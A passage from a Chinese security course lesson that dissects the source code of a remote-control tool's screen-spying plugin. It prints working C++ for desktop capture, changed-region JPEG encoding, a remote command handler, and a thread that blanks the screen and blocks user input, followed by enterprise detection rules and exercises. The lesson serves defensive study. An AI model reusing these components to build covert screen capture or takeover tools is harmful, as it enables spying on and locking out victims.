        p2 = (LPDWORD)((LPBYTE)m_lpvCurrBits + (m_nFullHeight - 1 - y) * m_nPerLineDataSize);

        for (int x = 0; x < m_nFullWidth; )
        {
            if (*p1 == *p2)
            {
                p1++;
                p2++;
                x += m_nIncSize;
                continue;
            }

            // 发现差异后,不只取一个像素,而是扩成一个小矩形。
            // 这样可以减少碎片块数量,提升发送效率。
            changedRect.left = max(x - DEF_XSTEP, 0);
            changedRect.top = max(y - DEF_YSTEP, 0);
            changedRect.right = min(x + DEF_XSTEP, m_nFullWidth);
            changedRect.bottom = min(y + DEF_YSTEP, m_nFullHeight);

            if (hRgnChanged == NULL)
                hRgnChanged = CreateRectRgnIndirect(&changedRect);
            else
            {
                hRgnCombine = CreateRectRgnIndirect(&changedRect);
                CombineRgn(hRgnChanged, hRgnChanged, hRgnCombine, RGN_OR);
                DeleteObject(hRgnCombine);
            }

            p1 += DEF_XSTEP / m_nIncSize;
            p2 += DEF_XSTEP / m_nIncSize;
            x += DEF_XSTEP;
        }
    }

    // 下一轮从不同扫描行起步,避免长期只看同一批行。
    m_nScanLine = (m_nScanLine + 3) % DEF_YSTEP;

    if (hRgnChanged)
    {
        DWORD dwRgnSize = GetRegionData(hRgnChanged, 0, NULL);
        LPRGNDATA lpRgnData = (LPRGNDATA)new BYTE[dwRgnSize];
        GetRegionData(hRgnChanged, dwRgnSize, lpRgnData);
        DeleteObject(hRgnChanged);

        // 把变化区域真正复制出来并写入发送缓冲。
        CopyChangedRect(lpRgnData, dwRgnSize);
        delete[] lpRgnData;
        return TRUE;
    }
    return FALSE;
}

void CScreenSpy::CopyChangedRect(LPRGNDATA lpRgnData, DWORD dwRgnSize)
{
    LPRECT lpChangedRect = (LPRECT)lpRgnData->Buffer;

    for (int i = 0; i < (int)(lpRgnData->rdh.nCount); i++)
    {
        int nChangedRectWidth = lpChangedRect[i].right - lpChangedRect[i].left;
        int nChangedRectHeight = lpChangedRect[i].bottom - lpChangedRect[i].top;

        // 为当前变化矩形重设位图头。
        // 变化块不是整屏尺寸,而是当前 RECT 的宽高。
        m_lpbmi_rect->bmiHeader.biWidth = nChangedRectWidth;
        m_lpbmi_rect->bmiHeader.biHeight = nChangedRectHeight;
        m_lpbmi_rect->bmiHeader.biSizeImage =
            (((nChangedRectWidth * m_biBitCount + 31) & ~31) >> 3) * nChangedRectHeight;

        // 创建矩形 DIBSection,m_lpvRectBits 指向该变化块的像素内存。
        // 后面的 BMP_JPG() 就是把这块内存编码成 JPEG。
        m_lpvRectBits = NULL;
        m_hRectBitmap = ::CreateDIBSection(m_hDeskTopDC, m_lpbmi_rect,
            DIB_RGB_COLORS, &m_lpvRectBits, NULL, NULL);
        ::SelectObject(m_hRectMemDC, m_hRectBitmap);

        // 第一处 BitBlt:把当前变化块写回上一帧基线。
        // 这样下一次比较时,上一帧已经追上当前帧。
        ::BitBlt(m_hLastMemDC, lpChangedRect[i].left, lpChangedRect[i].top,
            nChangedRectWidth, nChangedRectHeight,
            m_hCurrMemDC, lpChangedRect[i].left, lpChangedRect[i].top, SRCCOPY);

        // 把变化区域复制到 m_hRectMemDC,用于单独 JPEG 编码。
        // 第二处 BitBlt:把变化块复制到临时矩形位图,准备编码。
        ::BitBlt(m_hRectMemDC, 0, 0, nChangedRectWidth, nChangedRectHeight,
            m_hCurrMemDC, lpChangedRect[i].left, lpChangedRect[i].top, SRCCOPY);

        void* bitstream = NULL;
        int bitstreamlen = BMP_JPG(nChangedRectWidth, nChangedRectHeight,
            m_biBitCount, m_SendUALITY, m_lpvRectBits, &bitstream);

        if (bitstreamlen > 0)
        {
            // 每个变化块写入:JPEG 长度 -> JPEG 数据 -> RECT 坐标。
            // 接收端据此把小块贴回完整画面。
            WriteChangedBuffer((LPBYTE)&bitstreamlen, sizeof(int));
            WriteChangedBuffer((LPBYTE)bitstream, bitstreamlen);
            WriteChangedBuffer((LPBYTE)&lpChangedRect[i], sizeof(RECT));
        }

        if (bitstream)
            free(bitstream);

        ::DeleteObject(m_hRectBitmap);
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124

屏幕帧数据很大,直接发送会占用大量带宽。因此代码中使用 JPEG 压缩,再由管理器层使用 zlib 压缩封包。

// 源码位置:主插件\高速屏幕\高速屏幕\ScreenSpy.cpp:267-318
// 防御分析注释:
// 1. BMP_JPG() 把 DIBSection 中的屏幕像素编码成 JPEG。
// 2. 该函数既可处理首帧整屏,也可处理后续变化矩形。
// 3. 网络侧看到的不是明文屏幕内容,而是压缩后的高熵二进制数据。
int CScreenSpy::BMP_JPG(int width, int height, int cbit, int quality, void* input, void** output)
{
    jpeg_compress_struct jcs;
    jpeg_error_mgr jem;
    jcs.err = jpeg_std_error(&jem);
    jpeg_create_compress(&jcs);

    unsigned long outlen = 0;

    // jpeg_mem_dest 表示输出写入内存,而不是写入文件。
    // 对检测来说,“内存编码 + 网络发送”比“保存图片文件”更隐蔽。
    jpeg_mem_dest(&jcs, (unsigned char**)output, &outlen);

    // 根据位深设置 JPEG 输入颜色空间。
    // 默认 32 位屏幕像素走 JCS_EXT_BGRA。
    switch (cbit)
    {
    case 16:
        jcs.in_color_space = JCS_EXT_RGB;
        jcs.input_components = 3;
        break;
    case 24:
        jcs.in_color_space = JCS_EXT_BGR;
        jcs.input_components = 3;
        break;
    case 32:
        jcs.in_color_space = JCS_EXT_BGRA;
        jcs.input_components = 4;
        break;
    default:
        jpeg_destroy_compress(&jcs);
        return -1;
    }

    jcs.image_width = width;
    jcs.image_height = height;

    jpeg_set_defaults(&jcs);

    // quality 由命令面可调。质量越高,画面越清晰,通常数据也越大。
    jpeg_set_quality(&jcs, quality, TRUE);
    jpeg_start_compress(&jcs, TRUE);

    // 逐行写入 JPEG 编码器。line_stride 按位深和 4 字节对齐计算。
    int line_stride = (jcs.image_width * cbit / 8 + 3) / 4 * 4;
    while (jcs.next_scanline < jcs.image_height)
    {
        unsigned char* pline = (unsigned char*)input + jcs.next_scanline * line_stride;
        jpeg_write_scanlines(&jcs, &pline, 1);
    }

    jpeg_finish_compress(&jcs);
    jpeg_destroy_compress(&jcs);
    return outlen;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60

网络检测不能期待看到“屏幕文本”。它更可能看到持续的、大小波动的、压缩后的二进制上行流量。

# 12. 命令面:哪些能力必须被视为高风险

OnReceive 中包含多类命令:刷新、控制、算法重置、FPS、输入屏蔽、黑屏、分层窗口捕获、剪贴板读取和设置、质量调整等。

12. 命令面:哪些能力必须被视为高风险(配图)

// 源码位置:主插件\高速屏幕\高速屏幕\ScreenQuickManager.cpp:73-139
// 防御分析注释:这里是远程屏幕插件的命令面。
// 本课只归类风险,不提供任何触发方式。
void CScreenQuickManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
    if (lpBuffer[0] == TOKEN_HEARTBEAT)
        return;

    switch (lpBuffer[0])
    {
    case COMMAND_FLUSH_QUICK:
        // 刷新画面。
        break;

    case COMMAND_SCREEN_CONTROL_QUICK:
        // 高风险:处理远程控制事件。
        ProcessCommand(lpBuffer + 1, nSize - 1);
        break;

    case COMMAND_SCREEN_ALGORITHM_RESET:
    case COMMAND_SCREEN_RESET_QUICK:
    case COMMAND_SCREEN_FPS_QUICK:
        // 调整屏幕编码、位深和帧率。
        break;

    case COMMAND_SCREEN_BLOCK_INPUT_QUICK:
        // 高风险:屏蔽本地输入。
        break;

    case COMMAND_SCREEN_BLANK_QUICK:
        // 高风险:控制黑屏状态。
        break;

    case COMMAND_SCREEN_CAPTURE_LAYER_QUICK:
        // 捕获分层窗口,可能扩大隐私暴露范围。
        break;

    case COMMAND_SCREEN_GET_CLIPBOARD_QUICK:
    case COMMAND_SCREEN_SET_CLIPBOARD:
        // 高风险:读取或写入剪贴板。
        break;
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

其中 ProcessCommand 会处理鼠标和键盘事件,属于远程控制面。本课不展开底层事件注入细节。对企业来说,重点是识别“屏幕采集 + 控制事件 + 输入屏蔽/黑屏”的组合,这通常不应出现在未登记、未授权、无用户提示的进程中。

# 13. 控制线程:黑屏、输入屏蔽和分辨率变化

控制线程持续运行,用于处理分辨率变化、黑屏状态和输入屏蔽。

// 源码位置:主插件\高速屏幕\高速屏幕\ScreenQuickManager.cpp:243-275
// 防御分析注释:控制线程会持续维护黑屏和输入屏蔽状态。
// 这类行为对合法远程协助软件也必须有明确授权和可见提示。
unsigned CScreenQuickManager::ControlThread(LPVOID lparam)
{
    static bool bIsScreenBlanked = false;
    CScreenQuickManager* pThis = (CScreenQuickManager*)lparam;
    pThis->WaitForDialogOpen();

    while (pThis->IsConnect())
    {
        if (pThis->IsMetricsChange() && pThis->m_bIsWorking)
            pThis->ResetScreen(pThis->GetCurrentPixelBits());

        if (pThis->m_bIsBlankScreen)
        {
            SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 1, NULL, 0);
            PostMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);
            bIsScreenBlanked = true;
            BlockInput(TRUE);
        }
        else if (bIsScreenBlanked)
        {
            SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 0, NULL, 0);
            PostMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)-1);
            bIsScreenBlanked = false;
            BlockInput(FALSE);
        }

        Sleep(200);
    }

    BlockInput(FALSE);
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

安全风险在于:这类行为会改变用户对本机的控制能力。合法软件如果需要“黑屏模式”或“屏蔽输入”,应具备强授权、可见提示、会话记录、管理员审批和紧急退出机制。

# 14. 企业检测点

14. 企业检测点(配图)

建议按以下层面建立检测:

层面 检测点 说明
图形 API GetDCGetDesktopWindowBitBltCreateDIBSection 屏幕采集核心链路
编码压缩 JPEG 函数、zlib compress 屏幕流通常会压缩
网络行为 持续上行、大小波动、低延迟循环 和帧率、屏幕变化、变化矩形数量相关
进程行为 未知插件 DLL、长期工作线程 和模块加载记录关联
隐私行为 捕获分层窗口、读取剪贴板 扩大隐私暴露范围
控制行为 BlockInputPostMessage 控制显示器 高风险远程控制信号
合规侧 是否有用户提示、授权记录、会话留痕 合法远程协助必须具备

一个实用的关联逻辑:

  1. 进程建立外联连接。
  2. 同一进程调用屏幕采集 API。
  3. 同一进程调用图像压缩库。
  4. 出现持续上行数据。
  5. 出现剪贴板或输入屏蔽行为。

如果 1-4 同时满足,已经值得重点关注;如果再叠加第 5 项,应按高风险远程屏幕会话处理。

# 15. 合法练习题

  1. 不运行插件,只阅读源码,画出 WorkThread -> sendFirstScreen -> getFirstScreen -> compress -> Send 的调用链。
  2. 列出 ScreenSpy.cpp 中和屏幕采集相关的 GDI API,并说明每个 API 的防御含义。
  3. 说明本课为什么判断 JPEG 依赖来自 libjpeg-turbo,以及源码调用的是哪一组 jpeg_* API。
  4. 设计一条企业检测规则:未知进程在 30 秒内调用 BitBlt、JPEG 编码和外联发送时触发告警。
  5. 站在合法远程协助产品角度,设计“屏蔽输入”和“黑屏模式”的授权与退出机制。
  6. 比较一次性截图和持续屏幕流的流量差异,写出网络侧检测思路。

# 16. 本课小结

高速屏幕插件的主线是:网络连接创建管理器,管理器启动工作线程,CScreenSpy 通过 GDI 采集桌面画面,首帧发送整屏 JPEG,后续帧扫描变化矩形并把小块 JPEG/zlib 压缩后以 TOKEN_* 形式发送。它之所以叫“高速屏幕”,核心在于低延迟优先的连续采集、变化扫描、内存编码和持续发送链路。防御侧要把屏幕采集 API、压缩库、持续上行流量、剪贴板访问、输入屏蔽和黑屏控制组合起来看,而不是孤立地搜索某一个函数名。

安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。

上次更新: 2026/07/14, 19:37:40

社区交流

讨论与留言

前往 GitHub Issues →

本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。

最近更新
第 1 课:专栏导论与安全边界
07-01
第 3 课:安装编译与调试环境
07-01
第 4 课:第三方库下载、编译与依赖管理
07-01
更多文章>